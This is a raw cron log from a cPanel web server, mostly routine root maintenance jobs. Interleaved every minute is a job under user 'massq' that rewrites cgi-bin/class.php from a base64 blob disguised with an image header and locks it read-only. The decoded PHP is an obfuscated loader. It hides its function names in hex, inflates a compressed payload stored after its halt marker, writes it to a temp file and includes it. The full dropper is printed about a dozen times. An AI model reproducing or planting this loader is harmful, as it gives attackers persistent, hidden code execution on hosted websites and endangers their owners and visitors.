Sep  6 17:35:01 server CROND[11400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:35:01 server CROND[11406]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:35:01 server CROND[11402]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 17:35:01 server CROND[11401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:35:01 server CROND[11405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:35:01 server CROND[11399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:36:01 server CROND[12297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:36:01 server CROND[12298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:36:01 server CROND[12299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:37:01 server CROND[12740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:37:01 server CROND[12741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:37:01 server CROND[12742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:38:01 server CROND[13111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:38:01 server CROND[13112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:38:01 server CROND[13113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:39:01 server CROND[13695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:39:01 server CROND[13696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:39:01 server CROND[13697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:39:01 server CROND[13698]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 17:40:01 server CROND[14093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:40:01 server CROND[14094]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:40:01 server CROND[14097]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:40:01 server CROND[14104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:40:01 server CROND[14107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:40:01 server CROND[14106]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:40:01 server CROND[14110]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:40:01 server CROND[14105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:41:01 server CROND[14919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:41:01 server CROND[14921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:41:01 server CROND[14920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:42:01 server CROND[15345]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 17:42:01 server CROND[15346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:42:01 server CROND[15347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:42:01 server CROND[15348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:43:01 server CROND[15733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:43:01 server CROND[15734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:43:01 server CROND[15732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:44:01 server CROND[16207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:44:01 server CROND[16208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:44:01 server CROND[16209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:45:01 server CROND[16594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:45:01 server CROND[16595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:45:01 server CROND[16609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:45:01 server CROND[16618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:45:01 server CROND[16617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:45:01 server CROND[16621]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:45:01 server CROND[16620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:46:01 server CROND[17414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:46:01 server CROND[17415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:46:01 server CROND[17416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
